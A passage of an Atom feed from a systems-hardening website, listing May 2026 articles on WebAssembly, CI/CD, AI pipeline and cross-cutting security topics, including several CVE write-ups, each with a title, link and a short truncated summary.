    <summary>Security Scanning for WebAssembly: SAST for Rust Source and Binary Analysis of Compiled Modules
Problem
WebAssembly modules are artifacts that break the assumptions baked into most SAST tooling....</summary>
  </entry>
  
  <entry>
    <title>WebAssembly Spectre and Side-Channel Mitigations: Wasmtime, V8, and Runtime-Level Hardening</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-spectre-side-channel-mitigations/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-spectre-side-channel-mitigations/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>WebAssembly Spectre and Side-Channel Mitigations: Wasmtime, V8, and Runtime-Level Hardening
Problem
Wasm’s security pitch — sandboxed bytecode, type-checked at load, memory-isolated by linear-memory...</summary>
  </entry>
  
  <entry>
    <title>Wasmtime Pulley Interpreter Security Hardening</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasmtime-pulley-interpreter-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasmtime-pulley-interpreter-security/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>Wasmtime Pulley Interpreter Security Hardening
Problem
Pulley is Wasmtime’s portable bytecode interpreter, introduced as a stable backend in 2024 and increasingly used on platforms where Cranelift JIT...</summary>
  </entry>
  
  <entry>
    <title>AI-Augmented Anti-Money Laundering: Graph Networks, Synthetic Identity, and Adversarial Robustness</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/ai-anti-money-laundering/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/ai-anti-money-laundering/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>AI-Augmented Anti-Money Laundering: Graph Networks, Synthetic Identity, and Adversarial Robustness
The Problem
Rules-based AML systems operate on thresholds: transactions over $10,000 get reported,...</summary>
  </entry>
  
  <entry>
    <title>Securing AI Model Fine-Tuning Pipelines: Dataset Poisoning, Backdoor Attacks, and Supply Chain Risks</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/ai-model-finetuning-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/ai-model-finetuning-security/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>Securing AI Model Fine-Tuning Pipelines: Dataset Poisoning, Backdoor Attacks, and Supply Chain Risks
The Problem
Fine-tuning a pre-trained language or vision model is now the standard path to...</summary>
  </entry>
  
  <entry>
    <title>AI Red Teams and Container Security: What the Benchmarks Mean for Architecture</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/ai-red-team-container-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/ai-red-team-container-security/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>AI Red Teams and Container Security: What the Benchmarks Mean for Architecture
The Problem
Two independent research programmes produced findings in 2025–2026 that expose a structural flaw in how...</summary>
  </entry>
  
  <entry>
    <title>AI SBOM and Model Provenance Tracking</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/ai-sbom-model-provenance/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/ai-sbom-model-provenance/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>AI SBOM and Model Provenance Tracking
The Problem
A traditional software SBOM tells you which libraries are linked into a binary and at what version. If you ship a container with libssl 1.1.0, an SBOM...</summary>
  </entry>
  
  <entry>
    <title>Confidential AI Inference: Protecting Model Weights and User Data with TEEs</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/confidential-ai-inference/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/confidential-ai-inference/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>Confidential AI Inference: Protecting Model Weights and User Data with TEEs
The Problem
When you deploy a language model to a cloud provider, you are making a trust decision that most organisations do...</summary>
  </entry>
  
  <entry>
    <title>LiteLLM Proxy Pre-Auth SQL Injection: CVE-2026-42208</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/litellm-sql-injection-proxy/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/litellm-sql-injection-proxy/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>LiteLLM Proxy Pre-Auth SQL Injection: CVE-2026-42208
The Problem
CVE-2026-42208 is a pre-authentication SQL injection vulnerability in LiteLLM’s API key verification logic. CVSS 9.3 Critical....</summary>
  </entry>
  
  <entry>
    <title>RAG Pipeline Security: Hardening Retrieval-Augmented Generation from Ingestion to Response</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/rag-pipeline-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/rag-pipeline-security/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>RAG Pipeline Security: Hardening Retrieval-Augmented Generation from Ingestion to Response
The Problem
Retrieval-Augmented Generation solves the stale-knowledge problem: rather than relying solely on...</summary>
  </entry>
  
  <entry>
    <title>AI-Assisted Vulnerability Discovery in CI/CD Pipelines</title>
    <link href="https://www.systemshardening.com/articles/cicd/ai-sast-cicd-vulnerability-discovery/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/ai-sast-cicd-vulnerability-discovery/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>AI-Assisted Vulnerability Discovery in CI/CD Pipelines
The Problem
Traditional SAST tools — Semgrep, CodeQL, Coverity — operate on pattern matching and predefined rules. They excel at finding known...</summary>
  </entry>
  
  <entry>
    <title>AWS CodePipeline and CodeBuild Security Hardening</title>
    <link href="https://www.systemshardening.com/articles/cicd/aws-codepipeline-codebuild-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/aws-codepipeline-codebuild-security/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>AWS CodePipeline and CodeBuild Security Hardening
Problem
AWS CodePipeline and CodeBuild are managed CI/CD services that eliminate the operational burden of running pipeline infrastructure, but they...</summary>
  </entry>
  
  <entry>
    <title>Azure DevOps and Azure Pipelines Security Hardening</title>
    <link href="https://www.systemshardening.com/articles/cicd/azure-devops-pipeline-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/azure-devops-pipeline-security/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>Azure DevOps and Azure Pipelines Security Hardening
Problem
Azure DevOps is Microsoft’s hosted CI/CD platform, integrating source control (Azure Repos), pipelines (Azure Pipelines), artefact...</summary>
  </entry>
  
  <entry>
    <title>Bazel Build System Security: Remote Execution, bzlmod, and Hermetic Hardening</title>
    <link href="https://www.systemshardening.com/articles/cicd/bazel-build-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/bazel-build-security/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>Bazel Build System Security: Remote Execution, bzlmod, and Hermetic Hardening
Problem
Bazel is designed for correctness and scale, not just speed. Its hermetic build model — where each action sees...</summary>
  </entry>
  
  <entry>
    <title>Docker BuildKit Cache Security: Preventing Cache Poisoning in CI/CD</title>
    <link href="https://www.systemshardening.com/articles/cicd/buildkit-cache-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/buildkit-cache-security/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>Docker BuildKit Cache Security: Preventing Cache Poisoning in CI/CD
Problem
BuildKit’s cache is one of the most effective performance tools in a CI/CD pipeline — and one of the most quietly dangerous....</summary>
  </entry>
  
  <entry>
    <title>Securing CD Promotion Gates and Approval Workflows</title>
    <link href="https://www.systemshardening.com/articles/cicd/cd-promotion-gates-approvals/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/cd-promotion-gates-approvals/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>Securing CD Promotion Gates and Approval Workflows
Problem
Fully automatic promotion — the practice of deploying every green build straight to production without a human checkpoint — is a convenience...</summary>
  </entry>
  
  <entry>
    <title>Monitoring CI/CD Pipelines for Security Anomalies and Pipeline Tampering</title>
    <link href="https://www.systemshardening.com/articles/cicd/cicd-pipeline-anomaly-detection/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/cicd-pipeline-anomaly-detection/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>Monitoring CI/CD Pipelines for Security Anomalies and Pipeline Tampering
Why Pipelines Are the Highest-Value Target in Your Stack
A CI/CD pipeline is, by design, a privileged automated process with...</summary>
  </entry>
  
  <entry>
    <title>CircleCI Security Hardening: Contexts, OIDC, and Runner Isolation</title>
    <link href="https://www.systemshardening.com/articles/cicd/circleci-security-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/circleci-security-hardening/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>CircleCI Security Hardening: Contexts, OIDC, and Runner Isolation
Problem
CircleCI sits at the intersection of source code and production infrastructure. Every pipeline run has potential access to...</summary>
  </entry>
  
  <entry>
    <title>Container Image Provenance Attestations: SLSA and SBOM Attestation End-to-End</title>
    <link href="https://www.systemshardening.com/articles/cicd/container-image-attestations/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/container-image-attestations/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>Container Image Provenance Attestations: SLSA and SBOM Attestation End-to-End
Problem
A container image signature answers one question: was this image signed by someone whose key I trust? It does not...</summary>
  </entry>
  
  <entry>
    <title>Container Vulnerability Scanning in CI/CD Pipelines: Trivy, Grype, and Policy Enforcement</title>
    <link href="https://www.systemshardening.com/articles/cicd/container-vulnerability-scanning-ci/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/container-vulnerability-scanning-ci/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>Container Vulnerability Scanning in CI/CD Pipelines: Trivy, Grype, and Policy Enforcement
Problem
Most teams add container scanning at the registry level — a post-push scan that runs after the image...</summary>
  </entry>
  
  <entry>
    <title>Replacing Long-Lived CI/CD Cloud Credentials with Ephemeral OIDC Tokens</title>
    <link href="https://www.systemshardening.com/articles/cicd/ephemeral-cloud-credentials-cicd/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/ephemeral-cloud-credentials-cicd/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>Replacing Long-Lived CI/CD Cloud Credentials with Ephemeral OIDC Tokens
Problem
The standard setup for cloud access in CI/CD pipelines is still, at most organisations, a long-lived AWS access key pair...</summary>
  </entry>
  
  <entry>
    <title>GitHub Actions Self-Hosted Runner Hardening: Registration, Isolation, and Ephemeral Patterns</title>
    <link href="https://www.systemshardening.com/articles/cicd/github-actions-self-hosted-runner/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/github-actions-self-hosted-runner/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>GitHub Actions Self-Hosted Runner Hardening: Registration, Isolation, and Ephemeral Patterns
Problem
GitHub-hosted runners are ephemeral by design and managed by GitHub. Self-hosted runners are not....</summary>
  </entry>
  
  <entry>
    <title>GitLab GraphQL CSRF: CVE-2026-4922 and Insufficient Token Validation</title>
    <link href="https://www.systemshardening.com/articles/cicd/gitlab-graphql-csrf/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/gitlab-graphql-csrf/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>GitLab GraphQL CSRF: CVE-2026-4922 and Insufficient Token Validation
The Problem
CVE-2026-4922 (CVSS 8.1) is a Cross-Site Request Forgery vulnerability in GitLab’s GraphQL API endpoint, affecting...</summary>
  </entry>
  
  <entry>
    <title>Go Module Supply Chain Security: Proxy, Checksums, govulncheck, and Private Modules</title>
    <link href="https://www.systemshardening.com/articles/cicd/go-module-supply-chain-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/go-module-supply-chain-security/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>Go Module Supply Chain Security: Proxy, Checksums, govulncheck, and Private Modules
Problem
Go’s module system ships with two infrastructure components that most other language ecosystems lack: a...</summary>
  </entry>
  
  <entry>
    <title>IaC Security Scanning in CI/CD: Checkov, tfsec, and Policy-as-Code for Terraform, CloudFormation, Kubernetes, and Helm</title>
    <link href="https://www.systemshardening.com/articles/cicd/iac-security-scanning-cicd/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/iac-security-scanning-cicd/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>IaC Security Scanning in CI/CD: Checkov, tfsec, and Policy-as-Code for Terraform, CloudFormation, Kubernetes, and Helm
Why IaC Misconfigurations Are a Production Problem
Every large cloud breach of...</summary>
  </entry>
  
  <entry>
    <title>Infrastructure Drift Detection: Closing the Gap Between IaC State and Live Infrastructure</title>
    <link href="https://www.systemshardening.com/articles/cicd/infrastructure-drift-detection/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/infrastructure-drift-detection/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>Infrastructure Drift Detection: Closing the Gap Between IaC State and Live Infrastructure
Problem
Infrastructure as Code creates a security contract: every resource is defined in version-controlled...</summary>
  </entry>
  
  <entry>
    <title>Kubernetes Manifest Validation in CI: Catching Security Issues Before Deployment</title>
    <link href="https://www.systemshardening.com/articles/cicd/kubernetes-manifest-validation-ci/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/kubernetes-manifest-validation-ci/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>Kubernetes Manifest Validation in CI: Catching Security Issues Before Deployment
Problem
Kubernetes admission controllers — Kyverno, OPA Gatekeeper, the built-in PodSecurity admission plugin — are the...</summary>
  </entry>
  
  <entry>
    <title>Automating License Compliance Checks in CI/CD Pipelines</title>
    <link href="https://www.systemshardening.com/articles/cicd/license-compliance-cicd/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/license-compliance-cicd/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>Automating License Compliance Checks in CI/CD Pipelines
Problem
A copyleft dependency buried three levels deep in your transitive graph can legally obligate you to open-source your entire product....</summary>
  </entry>
  
  <entry>
    <title>Maven and Gradle Build Security: Supply Chain Hardening for Java/JVM Projects</title>
    <link href="https://www.systemshardening.com/articles/cicd/maven-gradle-build-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/maven-gradle-build-security/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>Maven and Gradle Build Security: Supply Chain Hardening for Java/JVM Projects
Problem
Maven Central hosts over 600,000 artifacts. The Gradle Plugin Portal hosts thousands more. Both are resolved over...</summary>
  </entry>
  
  <entry>
    <title>Securing Docker Multi-Stage Builds to Minimise Attack Surface in Production Images</title>
    <link href="https://www.systemshardening.com/articles/cicd/multistage-docker-build-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/multistage-docker-build-security/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>Securing Docker Multi-Stage Builds to Minimise Attack Surface in Production Images
Why Single-Stage Builds Are a Security Liability
A typical single-stage Dockerfile installs a compiler, downloads...</summary>
  </entry>
  
  <entry>
    <title>Pre-Commit Hooks for Security Enforcement in Development Workflows</title>
    <link href="https://www.systemshardening.com/articles/cicd/pre-commit-security-hooks/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/pre-commit-security-hooks/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>Pre-Commit Hooks for Security Enforcement in Development Workflows
Problem
A secret committed to a repository is harder to contain than a secret that never leaves a developer’s terminal. Even if a...</summary>
  </entry>
  
  <entry>
    <title>Pulumi Security Hardening: State, Secrets, CrossGuard, and OIDC Authentication</title>
    <link href="https://www.systemshardening.com/articles/cicd/pulumi-security-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/pulumi-security-hardening/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>Pulumi Security Hardening: State, Secrets, CrossGuard, and OIDC Authentication
Problem
Pulumi state files are structured JSON documents that record every attribute of every managed resource: database...</summary>
  </entry>
  
  <entry>
    <title>Python Packaging Security in CI/CD Pipelines</title>
    <link href="https://www.systemshardening.com/articles/cicd/python-packaging-security-ci/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/python-packaging-security-ci/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>Python Packaging Security in CI/CD Pipelines
Problem
Python’s packaging ecosystem makes supply chain compromise unusually easy for attackers. PyPI has no mandatory review for new packages, any...</summary>
  </entry>
  
  <entry>
    <title>Rust and Cargo Supply Chain Security: cargo-audit, cargo-deny, and Build Script Risks</title>
    <link href="https://www.systemshardening.com/articles/cicd/rust-cargo-supply-chain-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/rust-cargo-supply-chain-security/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>Rust and Cargo Supply Chain Security: cargo-audit, cargo-deny, and Build Script Risks
Problem
Rust is widely adopted for its compile-time memory safety guarantees. That reputation creates a dangerous...</summary>
  </entry>
  
  <entry>
    <title>Integrating SAST into CI/CD Pipelines: Semgrep, CodeQL, and False Positive Management</title>
    <link href="https://www.systemshardening.com/articles/cicd/sast-integration-cicd/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/sast-integration-cicd/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>Integrating SAST into CI/CD Pipelines: Semgrep, CodeQL, and False Positive Management
The Landscape: SAST, DAST, and SCA
Before placing any scanner in a pipeline, it helps to be clear about what each...</summary>
  </entry>
  
  <entry>
    <title>Secret Scanning in CI/CD Pipelines: Detecting Leaked Credentials Before They Cause Damage</title>
    <link href="https://www.systemshardening.com/articles/cicd/secret-scanning-cicd/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/secret-scanning-cicd/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>Secret Scanning in CI/CD Pipelines: Detecting Leaked Credentials Before They Cause Damage
Problem
Secrets end up in source code for predictable reasons. A developer copies a .env file template and...</summary>
  </entry>
  
  <entry>
    <title>SOX-Compliant Deployment Pipelines: Segregation of Duties and Immutable Change Evidence</title>
    <link href="https://www.systemshardening.com/articles/cicd/sox-compliant-deployment-pipeline/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/sox-compliant-deployment-pipeline/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>SOX-Compliant Deployment Pipelines: Segregation of Duties and Immutable Change Evidence
Problem
Sarbanes-Oxley Act Section 404 requires management and external auditors to assess the effectiveness of...</summary>
  </entry>
  
  <entry>
    <title>Enforcing Software Supply Chain Security Policies at Deploy Time</title>
    <link href="https://www.systemshardening.com/articles/cicd/supply-chain-policy-deploy-time/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/supply-chain-policy-deploy-time/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>Enforcing Software Supply Chain Security Policies at Deploy Time
Problem
CI pipelines enforce a great deal: linting, unit tests, SAST scans, vulnerability checks, image signing. The temptation is to...</summary>
  </entry>
  
  <entry>
    <title>CI/CD Webhook Security Hardening: GitHub, GitLab, and Generic Receivers</title>
    <link href="https://www.systemshardening.com/articles/cicd/webhook-security-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/webhook-security-hardening/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>CI/CD Webhook Security Hardening: GitHub, GitLab, and Generic Receivers
Problem
Webhooks are HTTP callbacks that source control platforms, registries, and monitoring tools fire to notify downstream...</summary>
  </entry>
  
  <entry>
    <title>API Security Testing: DAST, Fuzzing, and Automated Security Validation for REST and gRPC</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/api-security-testing/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/api-security-testing/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>API Security Testing: DAST, Fuzzing, and Automated Security Validation for REST and gRPC
Problem
APIs are the attack surface that grows fastest and is tested least. Every new microservice, mobile...</summary>
  </entry>
  
  <entry>
    <title>Audit Logging Architecture: Designing Tamper-Resistant, Compliance-Ready Audit Trails</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/audit-logging-architecture/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/audit-logging-architecture/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Audit Logging Architecture: Designing Tamper-Resistant, Compliance-Ready Audit Trails
Problem
After a breach, you need to reconstruct what happened. The questions are always the same: which account...</summary>
  </entry>
  
  <entry>
    <title>Backup and Recovery Security: Protecting Your Last Line of Defence Against Ransomware</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/backup-recovery-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/backup-recovery-security/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Backup and Recovery Security: Protecting Your Last Line of Defence Against Ransomware
Problem
Ransomware operators do not start by encrypting your production data. They start by finding and deleting...</summary>
  </entry>
  
  <entry>
    <title>Certificate Lifecycle Management: From Issuance to Renewal and Revocation</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/certificate-lifecycle-management/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/certificate-lifecycle-management/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Certificate Lifecycle Management: From Issuance to Renewal and Revocation
Problem
On 8 February 2023, Spotify’s iOS app stopped working for millions of users. The root cause: an expired TLS...</summary>
  </entry>
  
  <entry>
    <title>Container Security Across the SDLC: From Dockerfile to Production</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/container-security-sdlc/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/container-security-sdlc/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Container Security Across the SDLC: From Dockerfile to Production
Problem
Most container security programmes are reactive. A production vulnerability scan finds a critical CVE in a base image that has...</summary>
  </entry>
  
  <entry>
    <title>Cryptographic Agility: Designing Systems to Survive Algorithm Transitions</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/cryptographic-agility/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/cryptographic-agility/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Cryptographic Agility: Designing Systems to Survive Algorithm Transitions
Problem
Every hardcoded cryptographic algorithm is a future breaking change. SHA-1 was declared broken in 2005 and prohibited...</summary>
  </entry>
  
  <entry>
    <title>Cryptographic Key Hierarchy Design: Root Keys, Intermediate Keys, and Data Encryption Keys</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/cryptographic-key-hierarchy/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/cryptographic-key-hierarchy/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Cryptographic Key Hierarchy Design: Root Keys, Intermediate Keys, and Data Encryption Keys
Problem
Flat key management is when one key — or a handful of manually-managed keys — encrypts everything. A...</summary>
  </entry>
  
  <entry>
    <title>Data Classification and Secure Handling: From Taxonomy to Technical Controls</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/data-classification-handling/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/data-classification-handling/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Data Classification and Secure Handling: From Taxonomy to Technical Controls
Problem
Engineers make dozens of implicit data-handling decisions every sprint: which fields to log, which columns to...</summary>
  </entry>
  
  <entry>
    <title>DORA Technical Implementation: ICT Risk Management, Resilience Testing, and Third-Party Oversight</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/dora-technical-implementation/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/dora-technical-implementation/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>DORA Technical Implementation: ICT Risk Management, Resilience Testing, and Third-Party Oversight
Problem
The EU Digital Operational Resilience Act (Regulation 2022/2554) became applicable on 17...</summary>
  </entry>
  
  <entry>
    <title>Firecracker VMM Attack Surface: CVE-2026-5747 and the Limits of Minimal VMs</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/firecracker-vmm-attack-surface/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/firecracker-vmm-attack-surface/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>The Problem
CVE-2026-5747 is an out-of-bounds write in Firecracker’s virtio PCI transport layer. A workload running inside a Firecracker microVM with root privileges can trigger the vulnerability by...</summary>
  </entry>
  
  <entry>
    <title>Hardening Baseline Automation: Enforcing and Verifying Security Configuration at Scale</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/hardening-baseline-automation/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/hardening-baseline-automation/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Hardening Baseline Automation: Enforcing and Verifying Security Configuration at Scale
Problem
Manual hardening checklists fail in three distinct ways. First, they are not reproducible: two engineers...</summary>
  </entry>
  
  <entry>
    <title>IAM Maturity Model: Assessing and Advancing Identity and Access Management Capabilities</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/iam-maturity-model/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/iam-maturity-model/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
